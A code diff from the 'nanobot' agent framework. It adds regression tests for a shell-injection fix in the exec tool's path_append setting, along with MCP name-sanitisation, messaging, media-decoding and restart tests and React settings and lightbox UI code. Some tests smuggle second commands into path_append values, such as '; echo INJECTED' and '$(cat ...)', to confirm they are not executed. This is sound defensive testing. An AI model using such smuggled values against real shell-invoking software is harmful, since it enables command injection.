)
|
||||
async def test_exec_path_append_shell_metacharacters_not_executed(malicious_path, tmp_path):
|
||||
"""Shell metacharacters in path_append must NOT be interpreted as commands.
|
||||
|
||||
Regression test for: path_append was previously concatenated into a shell
|
||||
command string via f'export PATH="$PATH:{path_append}"; {command}', which
|
||||
allowed shell injection. After the fix, path_append is passed through the
|
||||
env dict so metacharacters are treated as literal path characters.
|
||||
"""
|
||||
tool = ExecTool(path_append=malicious_path)
|
||||
result = await tool.execute(command="echo SAFE_OUTPUT")
|
||||
|
||||
# The original command should succeed
|
||||
assert "SAFE_OUTPUT" in result
|
||||
|
||||
# None of the injected payloads should have produced side-effects
|
||||
assert "INJECTED" not in result
|
||||
assert "root:" not in result # /etc/passwd content
|
||||
|
||||
|
||||
@_UNIX_ONLY
|
||||
@pytest.mark.asyncio
|
||||
async def test_exec_path_append_command_substitution_does_not_execute(tmp_path):
|
||||
"""$() in path_append must not trigger command substitution.
|
||||
|
||||
We create a marker file and try to read it via $(cat ...). If command
|
||||
substitution works, the marker content appears in output.
|
||||
"""
|
||||
marker = tmp_path / "secret_marker.txt"
|
||||
marker.write_text("SHOULD_NOT_APPEAR")
|
||||
|
||||
tool = ExecTool(
|
||||
path_append=f'/tmp/bin; echo $(cat {marker})',
|
||||
)
|
||||
result = await tool.execute(command="echo OK")
|
||||
|
||||
assert "OK" in result
|
||||
assert "SHOULD_NOT_APPEAR" not in result
|
||||
|
||||
|
||||
@_UNIX_ONLY
|
||||
@pytest.mark.asyncio
|
||||
async def test_exec_path_append_legitimate_path_still_works():
|
||||
"""A normal, safe path_append value must still be appended to PATH."""
|
||||
tool = ExecTool(path_append="/opt/custom/bin")
|
||||
result = await tool.execute(command="echo $PATH")
|
||||
assert "/opt/custom/bin" in result
|
||||
|
||||
@@ -148,23 +148,33 @@ class TestSpawnWindows:
|
||||
class TestPathAppendPlatform:
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_unix_injects_export(self):
|
||||
"""On Unix, path_append is an export statement prepended to command."""
|
||||
async def test_unix_uses_env_var_in_fixed_export(self):
|
||||
"""On Unix, path_append must not be interpolated into shell source."""
|
||||
mock_proc = AsyncMock()
|
||||
mock_proc.communicate.return_value = (b"ok", b"")
|
||||
mock_proc.returncode = 0
|
||||
|
||||
captured_cmd = None
|
||||
captured_env = {}
|
||||
|
||||
async def capture_spawn(cmd, cwd, env):
|
||||
nonlocal captured_cmd
|
||||
captured_cmd = cmd
|
||||
captured_env.update(env)
|
||||
return mock_proc
|
||||
|
||||
with (
|
||||
patch("nanobot.agent.tools.shell._IS_WINDOWS", False),
|
||||
patch.object(ExecTool, "_spawn", return_value=mock_proc) as mock_spawn,
|
||||
patch("nanobot.agent.tools.shell.os.pathsep", ":"),
|
||||
patch.object(ExecTool, "_spawn", side_effect=capture_spawn),
|
||||
patch.object(ExecTool, "_guard_command", return_value=None),
|
||||
):
|
||||
tool = ExecTool(path_append="/opt/bin")
|
||||
tool = ExecTool(path_append="/opt/bin; echo INJECTED")
|
||||
await tool.execute(command="ls")
|
||||
|
||||
spawned_cmd = mock_spawn.call_args[0][0]
|
||||
assert 'export PATH="$PATH:/opt/bin"' in spawned_cmd
|
||||
assert spawned_cmd.endswith("ls")
|
||||
assert captured_cmd == 'export PATH="$PATH:$NANOBOT_PATH_APPEND"; ls'
|
||||
assert captured_env["NANOBOT_PATH_APPEND"] == "/opt/bin; echo INJECTED"
|
||||
assert "INJECTED" not in captured_cmd
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_windows_modifies_env(self):
|
||||
@@ -181,6 +191,7 @@ class TestPathAppendPlatform:
|
||||
|
||||
with (
|
||||
patch("nanobot.agent.tools.shell._IS_WINDOWS", True),
|
||||
patch("nanobot.agent.tools.shell.os.pathsep", ";"),
|
||||
patch.object(ExecTool, "_spawn", side_effect=capture_spawn),
|
||||
patch.object(ExecTool, "_guard_command", return_value=None),
|
||||
):
|
||||
|
||||
@@ -13,6 +13,7 @@ from nanobot.agent.tools.mcp import (
|
||||
MCPResourceWrapper,
|
||||
MCPToolWrapper,
|
||||
_normalize_windows_stdio_command,
|
||||
_sanitize_name,
|
||||
connect_mcp_servers,
|
||||
)
|
||||
from nanobot.agent.tools.registry import ToolRegistry
|
||||
@@ -798,3 +799,114 @@ async def test_connect_registers_resources_and_prompts(
|
||||
assert "mcp_test_tool_a" in registry.tool_names
|
||||
assert "mcp_test_resource_res_b" in registry.tool_names
|
||||
assert "mcp_test_prompt_prompt_c" in registry.tool_names
|
||||
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# _sanitize_name tests
|
||||
# ---------------------------------------------------------------------------
|
||||
|
||||
|
||||
def test_sanitize_name_replaces_spaces() -> None:
|
||||
assert _sanitize_name("PostgreSQL System Information") == "PostgreSQL_System_Information"
|
||||
|
||||
|
||||
def test_sanitize_name_replaces_special_characters() -> None:
|
||||
assert _sanitize_name("foo.bar@baz!") == "foo_bar_baz_"
|
||||
|
||||
|
||||
def test_sanitize_name_collapses_consecutive_underscores() -> None:
|
||||
assert _sanitize_name("a b") == "a_b"
|
||||
|
||||
|
||||
def test_sanitize_name_preserves_valid_characters() -> None:
|
||||
assert _sanitize_name("my-tool_v2") == "my-tool_v2"
|
||||
|
||||
|
||||
def test_sanitize_name_noop_for_already_clean_names() -> None:
|
||||
assert _sanitize_name("mcp_server_tool") == "mcp_server_tool"
|
||||
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# Wrapper sanitization tests
|
||||
# ---------------------------------------------------------------------------
|
||||
|
||||
|
||||
def test_tool_wrapper_sanitizes_name() -> None:
|
||||
tool_def = SimpleNamespace(
|
||||
name="My Tool",
|
||||
description="tool with spaces",
|
||||
inputSchema={"type": "object", "properties": {}},
|
||||
)
|
||||
wrapper = MCPToolWrapper(SimpleNamespace(call_tool=None), "srv", tool_def)
|
||||
assert wrapper.name == "mcp_srv_My_Tool"
|
||||
|
||||
|
||||
def test_resource_wrapper_sanitizes_name() -> None:
|
||||
resource_def = SimpleNamespace(
|
||||
name="PostgreSQL System Information",
|
||||
uri="file:///pg/info",
|
||||
description="PG info",
|
||||
)
|
||||
wrapper = MCPResourceWrapper(None, "srv", resource_def)
|
||||
assert wrapper.name == "mcp_srv_resource_PostgreSQL_System_Information"
|
||||
|
||||
|
||||
def test_prompt_wrapper_sanitizes_name() -> None:
|
||||
prompt_def = SimpleNamespace(
|
||||
name="design-schema",
|
||||
description="Design schema",
|
||||
arguments=None,
|
||||
)
|
||||
# Hyphens are allowed, so this should pass through unchanged
|
||||
wrapper = MCPPromptWrapper(None, "my server", prompt_def)
|
||||
assert wrapper.name == "mcp_my_server_prompt_design-schema"
|
||||
|
||||
|
||||
def test_tool_wrapper_preserves_original_name_for_mcp_call() -> None:
|
||||
tool_def = SimpleNamespace(
|
||||
name="My Tool",
|
||||
description="tool with spaces",
|
||||
inputSchema={"type": "object", "properties": {}},
|
||||
)
|
||||
wrapper = MCPToolWrapper(SimpleNamespace(call_tool=None), "srv", tool_def)
|
||||
# The sanitized API-facing name differs from the original MCP name
|
||||
assert wrapper.name == "mcp_srv_My_Tool"
|
||||
assert wrapper._original_name == "My Tool"
|
||||
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_connect_mcp_servers_sanitizes_resource_names(
|
||||
fake_mcp_runtime: dict[str, object | None],
|
||||
) -> None:
|
||||
fake_mcp_runtime["session"] = _make_fake_session_with_capabilities(
|
||||
tool_names=[],
|
||||
resource_names=["PostgreSQL System Information"],
|
||||
prompt_names=[],
|
||||
)
|
||||
registry = ToolRegistry()
|
||||
stacks = await connect_mcp_servers(
|
||||
{"test": MCPServerConfig(command="fake")},
|
||||
registry,
|
||||
)
|
||||
for stack in stacks.values():
|
||||
await stack.aclose()
|
||||
|
||||
assert "mcp_test_resource_PostgreSQL_System_Information" in registry.tool_names
|
||||
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_connect_mcp_servers_enabled_tools_matches_sanitized_name(
|
||||
fake_mcp_runtime: dict[str, object | None],
|
||||
) -> None:
|
||||
fake_mcp_runtime["session"] = _make_fake_session_with_capabilities(
|
||||
tool_names=["My Tool", "other"],
|
||||
)
|
||||
registry = ToolRegistry()
|
||||
stacks = await connect_mcp_servers(
|
||||
{"test": MCPServerConfig(command="fake", enabled_tools=["mcp_test_My_Tool"])},
|
||||
registry,
|
||||
)
|
||||
for stack in stacks.values():
|
||||
await stack.aclose()
|
||||
|
||||
assert registry.tool_names == ["mcp_test_My_Tool"]
|
||||
|
||||
@@ -1,6 +1,10 @@
|
||||
import os
|
||||
|
||||
import pytest
|
||||
|
||||
from nanobot.agent.tools.message import MessageTool
|
||||
from nanobot.bus.events import OutboundMessage
|
||||
from nanobot.config.paths import get_workspace_path
|
||||
|
||||
|
||||
@pytest.mark.asyncio
|
||||
@@ -8,3 +12,193 @@ async def test_message_tool_returns_error_when_no_target_context() -> None:
|
||||
tool = MessageTool()
|
||||
result = await tool.execute(content="test")
|
||||
assert result == "Error: No target channel/chat specified"
|
||||
|
||||
|
||||
@pytest.mark.asyncio
|
||||
@pytest.mark.parametrize(
|
||||
"bad",
|
||||
[
|
||||
"not a list",
|
||||
[["ok"], "row-not-a-list"],
|
||||
[["ok", 42]],
|
||||
[[None]],
|
||||
],
|
||||
)
|
||||
async def test_message_tool_rejects_malformed_buttons(bad) -> None:
|
||||
"""``buttons`` must be ``list[list[str]]``; the tool validates the shape
|
||||
up front so a malformed LLM payload errors visibly instead of slipping
|
||||
into the channel layer where Telegram would silently reject the frame."""
|
||||
tool = MessageTool()
|
||||
result = await tool.execute(
|
||||
content="hi", channel="telegram", chat_id="1", buttons=bad,
|
||||
)
|
||||
assert result == "Error: buttons must be a list of list of strings"
|
||||
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_message_tool_marks_channel_delivery_only_when_enabled() -> None:
|
||||
sent: list[OutboundMessage] = []
|
||||
|
||||
async def _send(msg: OutboundMessage) -> None:
|
||||
sent.append(msg)
|
||||
|
||||
tool = MessageTool(send_callback=_send)
|
||||
|
||||
await tool.execute(content="normal", channel="telegram", chat_id="1")
|
||||
token = tool.set_record_channel_delivery(True)
|
||||
try:
|
||||
await tool.execute(content="cron", channel="telegram", chat_id="1")
|
||||
finally:
|
||||
tool.reset_record_channel_delivery(token)
|
||||
|
||||
assert sent[0].metadata == {}
|
||||
assert sent[1].metadata == {"_record_channel_delivery": True}
|
||||
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_message_tool_inherits_metadata_for_same_target() -> None:
|
||||
sent: list[OutboundMessage] = []
|
||||
|
||||
async def _send(msg: OutboundMessage) -> None:
|
||||
sent.append(msg)
|
||||
|
||||
tool = MessageTool(send_callback=_send)
|
||||
slack_meta = {"slack": {"thread_ts": "111.222", "channel_type": "channel"}}
|
||||
tool.set_context("slack", "C123", metadata=slack_meta)
|
||||
|
||||
await tool.execute(content="thread reply")
|
||||
|
||||
assert sent[0].metadata == slack_meta
|
||||
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_message_tool_does_not_inherit_metadata_for_cross_target() -> None:
|
||||
sent: list[OutboundMessage] = []
|
||||
|
||||
async def _send(msg: OutboundMessage) -> None:
|
||||
sent.append(msg)
|
||||
|
||||
tool = MessageTool(send_callback=_send)
|
||||
tool.set_context(
|
||||
"slack",
|
||||
"C123",
|
||||
metadata={"slack": {"thread_ts": "111.222", "channel_type": "channel"}},
|
||||
)
|
||||
|
||||
await tool.execute(content="channel reply", channel="slack", chat_id="C999")
|
||||
|
||||
assert sent[0].metadata == {}
|
||||
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_message_tool_resolves_relative_media_paths() -> None:
|
||||
sent: list[OutboundMessage] = []
|
||||
|
||||
async def _send(msg: OutboundMessage) -> None:
|
||||
sent.append(msg)
|
||||
|
||||
tool = MessageTool(send_callback=_send)
|
||||
|
||||
await tool.execute(
|
||||
content="see attached",
|
||||
channel="telegram",
|
||||
chat_id="1",
|
||||
media=["output/image.png"],
|
||||
)
|
||||
|
||||
expected = str(get_workspace_path() / "output/image.png")
|
||||
assert sent[0].media == [expected]
|
||||
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_message_tool_resolves_relative_media_paths_from_active_workspace(tmp_path) -> None:
|
||||
sent: list[OutboundMessage] = []
|
||||
|
||||
async def _send(msg: OutboundMessage) -> None:
|
||||
sent.append(msg)
|
||||
|
||||
workspace = tmp_path / "workspace"
|
||||
tool = MessageTool(send_callback=_send, workspace=workspace)
|
||||
|
||||
await tool.execute(
|
||||
content="see attached",
|
||||
channel="telegram",
|
||||
chat_id="1",
|
||||
media=["output/image.png"],
|
||||
)
|
||||
|
||||
assert sent[0].media == [str(workspace / "output/image.png")]
|
||||
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_message_tool_passes_through_absolute_media_paths() -> None:
|
||||
sent: list[OutboundMessage] = []
|
||||
|
||||
async def _send(msg: OutboundMessage) -> None:
|
||||
sent.append(msg)
|
||||
|
||||
tool = MessageTool(send_callback=_send)
|
||||
|
||||
abs_path = os.path.abspath(os.path.join(os.sep, "tmp", "abs_image.png"))
|
||||
|
||||
await tool.execute(
|
||||
content="see attached",
|
||||
channel="telegram",
|
||||
chat_id="1",
|
||||
media=[abs_path],
|
||||
)
|
||||
|
||||
assert sent[0].media == [abs_path]
|
||||
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_message_tool_passes_through_url_media_paths() -> None:
|
||||
sent: list[OutboundMessage] = []
|
||||
|
||||
async def _send(msg: OutboundMessage) -> None:
|
||||
sent.append(msg)
|
||||
|
||||
tool = MessageTool(send_callback=_send)
|
||||
|
||||
url = "https://example.com/image.png"
|
||||
|
||||
await tool.execute(
|
||||
content="see attached",
|
||||
channel="telegram",
|
||||
chat_id="1",
|
||||
media=[url],
|
||||
)
|
||||
|
||||
assert sent[0].media == [url]
|
||||
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_message_tool_resolves_mixed_media_paths() -> None:
|
||||
sent: list[OutboundMessage] = []
|
||||
|
||||
async def _send(msg: OutboundMessage) -> None:
|
||||
sent.append(msg)
|
||||
|
||||
tool = MessageTool(send_callback=_send)
|
||||
|
||||
abs_path = os.path.abspath(os.path.join(os.sep, "tmp", "absolute.png"))
|
||||
|
||||
await tool.execute(
|
||||
content="see attached",
|
||||
channel="telegram",
|
||||
chat_id="1",
|
||||
media=[
|
||||
"output/relative.png",
|
||||
abs_path,
|
||||
"https://example.com/url.png",
|
||||
"http://example.com/http.png",
|
||||
],
|
||||
)
|
||||
|
||||
expected_relative = str(get_workspace_path() / "output/relative.png")
|
||||
assert sent[0].media == [
|
||||
expected_relative,
|
||||
abs_path,
|
||||
"https://example.com/url.png",
|
||||
"http://example.com/http.png",
|
||||
]
|
||||
|
||||
@@ -152,7 +152,6 @@ class TestMessageToolSuppressLogic:
|
||||
('read foo.txt', True),
|
||||
]
|
||||
|
||||
|
||||
class TestMessageToolTurnTracking:
|
||||
|
||||
def test_sent_in_turn_tracks_same_target(self) -> None:
|
||||
|
||||
@@ -0,0 +1,75 @@
|
||||
"""Tests for ``nanobot.utils.media_decode``."""
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
import base64
|
||||
|
||||
import pytest
|
||||
|
||||
from nanobot.utils.media_decode import (
|
||||
DEFAULT_MAX_BYTES,
|
||||
FileSizeExceeded,
|
||||
MAX_FILE_SIZE,
|
||||
save_base64_data_url,
|
||||
)
|
||||
|
||||
|
||||
def _data_url(payload: bytes, mime: str = "image/png") -> str:
|
||||
return f"data:{mime};base64,{base64.b64encode(payload).decode()}"
|
||||
|
||||
|
||||
def test_saves_png_with_correct_extension(tmp_path) -> None:
|
||||
result = save_base64_data_url(_data_url(b"fake png"), tmp_path)
|
||||
assert result is not None
|
||||
assert result.endswith(".png")
|
||||
assert (tmp_path / result.split("/")[-1]).read_bytes() == b"fake png"
|
||||
|
||||
|
||||
def test_returns_none_for_malformed_data_url(tmp_path) -> None:
|
||||
assert save_base64_data_url("not-a-data-url", tmp_path) is None
|
||||
|
||||
|
||||
def test_returns_none_for_broken_base64(tmp_path) -> None:
|
||||
# Python's b64decode strips non-alphabet chars by default, so we need a
|
||||
# payload whose alphabet-filtered length breaks padding.
|
||||
assert save_base64_data_url("data:image/png;base64,not-valid-base64!!!", tmp_path) is None
|
||||
|
||||
|
||||
def test_unknown_mime_falls_back_to_bin(tmp_path) -> None:
|
||||
result = save_base64_data_url(_data_url(b"xyz", mime="unknown/type"), tmp_path)
|
||||
assert result is not None
|
||||
assert result.endswith(".bin")
|
||||
|
||||
|
||||
def test_default_limit_is_10mb(tmp_path) -> None:
|
||||
"""Backwards-compatible default — the API path depends on this."""
|
||||
assert DEFAULT_MAX_BYTES == 10 * 1024 * 1024
|
||||
assert MAX_FILE_SIZE == 10 * 1024 * 1024
|
||||
|
||||
oversized = b"x" * (11 * 1024 * 1024)
|
||||
with pytest.raises(FileSizeExceeded, match="10MB limit"):
|
||||
save_base64_data_url(_data_url(oversized), tmp_path)
|
||||
|
||||
|
||||
def test_explicit_max_bytes_overrides_default(tmp_path) -> None:
|
||||
"""WS channel passes 8 MB; a 9 MB payload should be rejected there even
|
||||
though it would pass the 10 MB API limit."""
|
||||
payload = b"y" * (9 * 1024 * 1024)
|
||||
with pytest.raises(FileSizeExceeded, match="8MB limit"):
|
||||
save_base64_data_url(_data_url(payload), tmp_path, max_bytes=8 * 1024 * 1024)
|
||||
|
||||
|
||||
def test_saved_file_lives_under_media_dir(tmp_path) -> None:
|
||||
result = save_base64_data_url(_data_url(b"ok"), tmp_path)
|
||||
assert result is not None
|
||||
assert result.startswith(str(tmp_path))
|
||||
|
||||
|
||||
def test_legacy_symbols_reexported_from_api_server() -> None:
|
||||
"""Existing tests import ``_save_base64_data_url`` / ``_FileSizeExceeded``
|
||||
from ``nanobot.api.server`` — keep the aliases working."""
|
||||
from nanobot.api import server
|
||||
|
||||
assert server._save_base64_data_url is save_base64_data_url
|
||||
assert server._FileSizeExceeded is FileSizeExceeded
|
||||
assert server.MAX_FILE_SIZE == MAX_FILE_SIZE
|
||||
@@ -16,6 +16,7 @@ from nanobot.utils.restart import (
|
||||
def test_set_and_consume_restart_notice_env_roundtrip(monkeypatch):
|
||||
monkeypatch.delenv("NANOBOT_RESTART_NOTIFY_CHANNEL", raising=False)
|
||||
monkeypatch.delenv("NANOBOT_RESTART_NOTIFY_CHAT_ID", raising=False)
|
||||
monkeypatch.delenv("NANOBOT_RESTART_NOTIFY_METADATA", raising=False)
|
||||
monkeypatch.delenv("NANOBOT_RESTART_STARTED_AT", raising=False)
|
||||
|
||||
set_restart_notice_to_env(channel="feishu", chat_id="oc_123")
|
||||
@@ -25,14 +26,42 @@ def test_set_and_consume_restart_notice_env_roundtrip(monkeypatch):
|
||||
assert notice.channel == "feishu"
|
||||
assert notice.chat_id == "oc_123"
|
||||
assert notice.started_at_raw
|
||||
assert notice.metadata == {}
|
||||
|
||||
# Consumed values should be cleared from env.
|
||||
assert consume_restart_notice_from_env() is None
|
||||
assert "NANOBOT_RESTART_NOTIFY_CHANNEL" not in os.environ
|
||||
assert "NANOBOT_RESTART_NOTIFY_CHAT_ID" not in os.environ
|
||||
assert "NANOBOT_RESTART_NOTIFY_METADATA" not in os.environ
|
||||
assert "NANOBOT_RESTART_STARTED_AT" not in os.environ
|
||||
|
||||
|
||||
def test_restart_notice_preserves_metadata_across_env(monkeypatch):
|
||||
monkeypatch.delenv("NANOBOT_RESTART_NOTIFY_CHANNEL", raising=False)
|
||||
monkeypatch.delenv("NANOBOT_RESTART_NOTIFY_CHAT_ID", raising=False)
|
||||
monkeypatch.delenv("NANOBOT_RESTART_NOTIFY_METADATA", raising=False)
|
||||
monkeypatch.delenv("NANOBOT_RESTART_STARTED_AT", raising=False)
|
||||
|
||||
set_restart_notice_to_env(
|
||||
channel="slack",
|
||||
chat_id="C123",
|
||||
metadata={"slack": {"thread_ts": "1700.42", "channel_type": "channel"}},
|
||||
)
|
||||
|
||||
notice = consume_restart_notice_from_env()
|
||||
assert notice is not None
|
||||
assert notice.metadata == {
|
||||
"slack": {"thread_ts": "1700.42", "channel_type": "channel"}
|
||||
}
|
||||
assert "NANOBOT_RESTART_NOTIFY_METADATA" not in os.environ
|
||||
|
||||
|
||||
def test_restart_notice_clears_stale_metadata(monkeypatch):
|
||||
monkeypatch.setenv("NANOBOT_RESTART_NOTIFY_METADATA", '{"stale": true}')
|
||||
set_restart_notice_to_env(channel="cli", chat_id="direct")
|
||||
assert "NANOBOT_RESTART_NOTIFY_METADATA" not in os.environ
|
||||
|
||||
|
||||
def test_format_restart_completed_message_with_elapsed(monkeypatch):
|
||||
monkeypatch.setattr("nanobot.utils.restart.time.time", lambda: 102.0)
|
||||
assert format_restart_completed_message("100.0") == "Restart completed in 2.0s."
|
||||
|
||||
+35
-10
@@ -2,6 +2,7 @@ import { useCallback, useEffect, useMemo, useRef, useState } from "react";
|
||||
import { useTranslation } from "react-i18next";
|
||||
import { DeleteConfirm } from "@/components/DeleteConfirm";
|
||||
import { Sidebar } from "@/components/Sidebar";
|
||||
import { SettingsView } from "@/components/settings/SettingsView";
|
||||
import { ThreadShell } from "@/components/thread/ThreadShell";
|
||||
import { Sheet, SheetContent } from "@/components/ui/sheet";
|
||||
import { preloadMarkdownText } from "@/components/MarkdownText";
|
||||
@@ -25,6 +26,7 @@ type BootState =
|
||||
|
||||
const SIDEBAR_STORAGE_KEY = "nanobot-webui.sidebar";
|
||||
const SIDEBAR_WIDTH = 279;
|
||||
type ShellView = "chat" | "settings";
|
||||
|
||||
function readSidebarOpen(): boolean {
|
||||
if (typeof window === "undefined") return true;
|
||||
@@ -136,22 +138,29 @@ export default function App() {
|
||||
);
|
||||
}
|
||||
|
||||
const handleModelNameChange = (modelName: string | null) => {
|
||||
setState((current) =>
|
||||
current.status === "ready" ? { ...current, modelName } : current,
|
||||
);
|
||||
};
|
||||
|
||||
return (
|
||||
<ClientProvider
|
||||
client={state.client}
|
||||
token={state.token}
|
||||
modelName={state.modelName}
|
||||
>
|
||||
<Shell />
|
||||
<Shell onModelNameChange={handleModelNameChange} />
|
||||
</ClientProvider>
|
||||
);
|
||||
}
|
||||
|
||||
function Shell() {
|
||||
function Shell({ onModelNameChange }: { onModelNameChange: (modelName: string | null) => void }) {
|
||||
const { t, i18n } = useTranslation();
|
||||
const { theme, toggle } = useTheme();
|
||||
const { sessions, loading, refresh, createChat, deleteChat } = useSessions();
|
||||
const [activeKey, setActiveKey] = useState<string | null>(null);
|
||||
const [view, setView] = useState<ShellView>("chat");
|
||||
const [desktopSidebarOpen, setDesktopSidebarOpen] =
|
||||
useState<boolean>(readSidebarOpen);
|
||||
const [mobileSidebarOpen, setMobileSidebarOpen] = useState(false);
|
||||
@@ -208,6 +217,7 @@ function Shell() {
|
||||
try {
|
||||
const chatId = await createChat();
|
||||
setActiveKey(`websocket:${chatId}`);
|
||||
setView("chat");
|
||||
setMobileSidebarOpen(false);
|
||||
return chatId;
|
||||
} catch (e) {
|
||||
@@ -219,6 +229,7 @@ function Shell() {
|
||||
const onSelectChat = useCallback(
|
||||
(key: string) => {
|
||||
setActiveKey(key);
|
||||
setView("chat");
|
||||
setMobileSidebarOpen(false);
|
||||
},
|
||||
[],
|
||||
@@ -266,6 +277,11 @@ function Shell() {
|
||||
onRefresh: () => void refresh(),
|
||||
onRequestDelete: (key: string, label: string) =>
|
||||
setPendingDelete({ key, label }),
|
||||
activeView: view,
|
||||
onOpenSettings: () => {
|
||||
setView("settings" as const);
|
||||
setMobileSidebarOpen(false);
|
||||
},
|
||||
};
|
||||
|
||||
return (
|
||||
@@ -303,14 +319,23 @@ function Shell() {
|
||||
</Sheet>
|
||||
|
||||
<main className="flex h-full min-w-0 flex-1 flex-col">
|
||||
<ThreadShell
|
||||
session={activeSession}
|
||||
title={headerTitle}
|
||||
onToggleSidebar={toggleSidebar}
|
||||
onGoHome={() => setActiveKey(null)}
|
||||
onNewChat={onNewChat}
|
||||
hideSidebarToggleOnDesktop={desktopSidebarOpen}
|
||||
/>
|
||||
{view === "settings" ? (
|
||||
<SettingsView
|
||||
theme={theme}
|
||||
onToggleTheme={toggle}
|
||||
onBackToChat={() => setView("chat")}
|
||||
onModelNameChange={onModelNameChange}
|
||||
/>
|
||||
) : (
|
||||
<ThreadShell
|
||||
session={activeSession}
|
||||
title={headerTitle}
|
||||
onToggleSidebar={toggleSidebar}
|
||||
onGoHome={() => setActiveKey(null)}
|
||||
onNewChat={onNewChat}
|
||||
hideSidebarToggleOnDesktop={desktopSidebarOpen}
|
||||
/>
|
||||
)}
|
||||
</main>
|
||||
|
||||
<DeleteConfirm
|
||||
|
||||
@@ -0,0 +1,199 @@
|
||||
import { useCallback, useEffect, useMemo } from "react";
|
||||
import * as DialogPrimitive from "@radix-ui/react-dialog";
|
||||
import { ChevronLeft, ChevronRight, X } from "lucide-react";
|
||||
import { useTranslation } from "react-i18next";
|
||||
|
||||
import { cn } from "@/lib/utils";
|
||||
import type { UIImage } from "@/lib/types";
|
||||
|
||||
interface ImageLightboxProps {
|
||||
images: UIImage[];
|
||||
index: number | null;
|
||||
onIndexChange: (index: number) => void;
|
||||
onOpenChange: (open: boolean) => void;
|
||||
}
|
||||
|
||||
/**
|
||||
* Modal image viewer. Uses the Radix Dialog primitives directly so we can
|
||||
* fill the viewport (the shared `DialogContent` wrapper caps at max-w-lg,
|
||||
* which is much too small for a photo preview).
|
||||
*
|
||||
* Implementation notes:
|
||||
* - `translate3d` + `will-change: transform` promote the image to a GPU
|
||||
* compositing layer so open/swap stays at 60 FPS on long threads.
|
||||
* - Adjacent images are rendered in hidden `<img>` tags so the browser
|
||||
* decodes them eagerly; pressing left/right feels instant.
|
||||
* - Radix handles `Escape` + focus trapping; we only wire up ←/→ + Home/End.
|
||||
* - Respects `prefers-reduced-motion` by dropping the fade + zoom-in
|
||||
* keyframes via `motion-reduce:*` variants.
|
||||
*/
|
||||
export function ImageLightbox({
|
||||
images,
|
||||
index,
|
||||
onIndexChange,
|
||||
onOpenChange,
|
||||
}: ImageLightboxProps) {
|
||||
const { t } = useTranslation();
|
||||
const open = index !== null;
|
||||
const total = images.length;
|
||||
const current = index !== null ? images[index] : null;
|
||||
|
||||
const go = useCallback(
|
||||
(delta: number) => {
|
||||
if (index === null || total <= 1) return;
|
||||
const next = (index + delta + total) % total;
|
||||
onIndexChange(next);
|
||||
},
|
||||
[index, onIndexChange, total],
|
||||
);
|
||||
|
||||
useEffect(() => {
|
||||
if (!open) return;
|
||||
const onKey = (e: KeyboardEvent) => {
|
||||
if (e.key === "ArrowLeft") {
|
||||
e.preventDefault();
|
||||
go(-1);
|
||||
} else if (e.key === "ArrowRight") {
|
||||
e.preventDefault();
|
||||
go(1);
|
||||
} else if (e.key === "Home") {
|
||||
e.preventDefault();
|
||||
onIndexChange(0);
|
||||
} else if (e.key === "End") {
|
||||
e.preventDefault();
|
||||
onIndexChange(total - 1);
|
||||
}
|
||||
};
|
||||
window.addEventListener("keydown", onKey);
|
||||
return () => window.removeEventListener("keydown", onKey);
|
||||
}, [go, onIndexChange, open, total]);
|
||||
|
||||
// Neighbours we want the browser to decode eagerly.
|
||||
const preload = useMemo(() => {
|
||||
if (index === null || total <= 1) return [] as UIImage[];
|
||||
const prev = images[(index - 1 + total) % total];
|
||||
const next = images[(index + 1) % total];
|
||||
return [prev, next].filter((i) => i && i.url);
|
||||
}, [images, index, total]);
|
||||
|
||||
if (!current || !current.url) return null;
|
||||
|
||||
const hasMany = total > 1;
|
||||
const counter = hasMany ? `${index! + 1} / ${total}` : null;
|
||||
|
||||
return (
|
||||
<DialogPrimitive.Root open={open} onOpenChange={onOpenChange}>
|
||||
<DialogPrimitive.Portal>
|
||||
<DialogPrimitive.Overlay
|
||||
className={cn(
|
||||
"fixed inset-0 z-50 bg-black/80 backdrop-blur-sm",
|
||||
"data-[state=open]:animate-in data-[state=closed]:animate-out",
|
||||
"data-[state=closed]:fade-out-0 data-[state=open]:fade-in-0",
|
||||
"motion-reduce:data-[state=open]:animate-none motion-reduce:data-[state=closed]:animate-none",
|
||||
)}
|
||||
/>
|
||||
<DialogPrimitive.Content
|
||||
aria-label={current.name ?? t("lightbox.title")}
|
||||
className={cn(
|
||||
"fixed inset-0 z-50 flex items-center justify-center",
|
||||
"focus:outline-none",
|
||||
"data-[state=open]:animate-in data-[state=closed]:animate-out",
|
||||
"data-[state=closed]:fade-out-0 data-[state=open]:fade-in-0",
|
||||
"data-[state=closed]:zoom-out-95 data-[state=open]:zoom-in-95",
|
||||
"motion-reduce:data-[state=open]:animate-none motion-reduce:data-[state=closed]:animate-none",
|
||||
)}
|
||||
>
|
||||
<DialogPrimitive.Title className="sr-only">
|
||||
{current.name ?? t("lightbox.title")}
|
||||
</DialogPrimitive.Title>
|
||||
|
||||
<div
|
||||
className="relative flex max-h-[92vh] max-w-[94vw] items-center justify-center"
|
||||
style={{
|
||||
transform: "translate3d(0,0,0)",
|
||||
willChange: "transform",
|
||||
}}
|
||||
>
|
||||
<img
|
||||
key={current.url}
|
||||
src={current.url}
|
||||
alt={current.name ?? ""}
|
||||
decoding="async"
|
||||
draggable={false}
|
||||
className="max-h-[92vh] max-w-[94vw] select-none rounded-[6px] object-contain shadow-2xl"
|
||||
/>
|
||||
</div>
|
||||
|
||||
{hasMany ? (
|
||||
<>
|
||||
<NavButton
|
||||
side="left"
|
||||
label={t("lightbox.prev")}
|
||||
onClick={(e) => {
|
||||
e.stopPropagation();
|
||||
go(-1);
|
||||
}}
|
||||
/>
|
||||
<NavButton
|
||||
side="right"
|
||||
label={t("lightbox.next")}
|
||||
